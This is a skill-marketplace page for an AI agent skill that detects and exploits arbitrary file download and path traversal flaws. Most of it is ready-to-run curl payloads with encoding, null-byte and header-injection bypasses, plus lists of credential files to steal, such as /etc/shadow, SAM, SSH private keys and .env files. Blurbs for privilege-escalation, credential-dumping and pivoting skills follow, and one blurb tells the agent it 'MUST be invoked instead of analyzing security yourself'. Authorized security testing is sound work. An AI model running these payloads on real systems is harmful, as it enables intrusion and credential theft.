skills/exploit-file-download/scripts/SKILL.md
Arbitrary file download vulnerability detection and exploitation using path traversal techniques, bypass methods, and sensitive file discovery. Use this skill when user needs to test for file download vulnerabilities, path traversal, or read sensitive files on target systems.
npx skillsauth add 0X6C7879/aegissec exploit-file-downloadInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
DANGER: File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:
Never test file download vulnerabilities on production systems without authorization.
# Python 3 with requests library
pip install requests
# Optional: curl for manual testing
# Built-in on most systems
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# ffuf for parameter fuzzing
# Manual test with curl
curl "https://target.com/download?file=../../../etc/passwd"
# Using the automated tester
python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"
# Scan for sensitive files after confirming vulnerability
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
Test for basic directory traversal vulnerabilities:
# Manual testing
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=....//....//etc/passwd"
# Automated testing
python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"
What to check:
../ sequences?Common payload patterns:
../../../etc/passwd
....//....//....//etc/passwd
..\..\..\..\windows\win.ini
When basic traversal is blocked, try URL encoding:
# Single URL encoding
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double URL encoding
curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
Encoding variations:
| Type | Payload |
|------|---------|
| URL encoded | %2e%2e%2f |
| Double encoded | %252e%252e%252f |
| Mixed | ..%2f..%2f |
When extension validation exists:
# Null byte to truncate extension check
curl "https://target.com/download?file=../../../etc/passwd%00.jpg"
curl "https://target.com/download?file=../../../etc/passwd%00.png"
Works against:
When standard payloads are filtered:
# Unicode encoding
curl "https://target.com/download?file=..%c0%af..%c0%af..%c0%afetc/passwd"
# Double write (....//)
curl "https://target.com/download?file=....//....//....//etc/passwd"
# Mixed separators
curl "https://target.com/download?file=..%5c..%5c..%5cetc/passwd"
After confirming vulnerability, discover sensitive files:
# Linux targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
# Windows targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os windows
# Custom file list
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --wordlist custom_files.txt
High-value targets (Linux):
/etc/passwd - User accounts
/etc/shadow - Password hashes (requires root)
/etc/hosts - Host mappings
/proc/self/environ - Environment variables
/var/log/apache2/access.log - Access logs
/home/user/.ssh/id_rsa - SSH private keys
/var/www/html/config.php - Web app configs
High-value targets (Windows):
C:\Windows\win.ini - Windows configuration
C:\Windows\System32\config\SAM - User accounts
C:\inetpub\wwwroot\web.config - IIS configuration
C:\Users\Administrator\.ssh\id_rsa - SSH keys
Target web application configuration files:
# Common web app configs
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../.env
../../../web.config
Framework-specific paths:
| Framework | Config Path |
|-----------|-------------|
| WordPress | wp-config.php |
| Laravel | .env |
| Django | settings.py |
| ASP.NET | web.config |
| Spring | application.properties |
Test POST parameters for file download:
# Save request to file
cat > request.txt << 'EOF'
POST /download HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
file=document.pdf
EOF
# Test with curl
curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"
Test non-parameter injection points:
# Cookie parameter
curl "https://target.com/download" --cookie "filename=../../../etc/passwd"
# Custom header
curl "https://target.com/download" -H "X-File-Path: ../../../etc/passwd"
# Referer header
curl "https://target.com/download" -H "Referer: https://target.com/?file=../../../etc/passwd"
| Scenario | Tool | Command |
|----------|------|---------|
| Quick manual test | curl | curl "URL?file=../../../etc/passwd" |
| Automated scanning | file_download_tester.py | python scripts/file_download_tester.py -u URL |
| Sensitive file scan | sensitive_file_scanner.py | python scripts/sensitive_file_scanner.py -u URL --os linux |
| Parameter fuzzing | ffuf | ffuf -u "URL?file=FUZZ" -w wordlist.txt |
| Custom payload test | curl | curl "URL?file=$(cat payload.txt)" |
../)%2e%2e%2f)%252e%252e%252f)%00)%c0%af)....//)..\ on Windows)/etc/passwd, /etc/shadow)win.ini, SAM).env, config.php)id_rsa, authorized_keys)scripts/file_download_tester.py - Automated vulnerability detectionscripts/sensitive_file_scanner.py - Sensitive file enumerationreferences/bypass_techniques.md - Detailed bypass methodsreferences/sensitive_files.md - Comprehensive file listsassets/traversal_payloads.txt - Path traversal payloadsassets/linux_sensitive_files.txt - Linux sensitive file pathsassets/windows_sensitive_files.txt - Windows sensitive file pathsWhen reporting file download vulnerabilities, include:
╔═══════════════════════════════════════════════════════╗
║ File Download Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/download ║
║ Type: Path Traversal ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: file
Payload: ../../../etc/passwd
Proof of Concept:
curl "https://target.com/download?file=../../../etc/passwd"
Files Confirmed Accessible:
- /etc/passwd (user accounts)
- /etc/hosts (network config)
- /var/www/html/config.php (database credentials)
Impact:
- Access to sensitive system files
- Exposure of database credentials
- Potential for further exploitation
Recommendations:
- Implement strict path validation
- Use allowlist for permitted files
- Sanitize user input for path characters
- Use chroot or container isolation
development
WooYun-derived business-logic testing methodology for web apps and APIs. Use when the request involves 支付、退款、订单、越权、认证、授权、价格篡改或业务流程绕过 review, especially black-box probing for price tampering, account takeover, and process bypass flaws.
tools
Escalate privileges on Windows systems using service misconfigurations, DLL hijacking, token manipulation, UAC bypasses, registry exploits, and credential dumping. Use when performing Windows post-exploitation or privilege escalation.
development
Use when performing AD pentest tunneling and pivoting, especially with Ligolo-ng, Chisel, frp, proxychains, SSH forwarding, SOCKS relays, reverse tunnels, or when internal reachability is the main blocker.
development
Threat model, security audit, find vulnerabilities, check security of my app, risk assessment, penetration test prep, analyze attack surface, what could an attacker exploit. Use this skill whenever a user wants holistic security analysis of a codebase, application, or project. MUST be invoked instead of analyzing security yourself — it runs a specialized 8-phase STRIDE workflow producing professional deliverables you cannot generate alone: risk assessment reports, DFD diagrams, threat inventories, attack path validation, mitigation plans, and pentest plans. Trigger on: 威胁建模, 安全评估, 渗透测试, 安全分析, 安全审计, 安全检查, 风险评估. NOT for: fixing one specific bug, adding one security feature (rate limiting, CORS), writing tests, CI/CD setup, or debugging errors.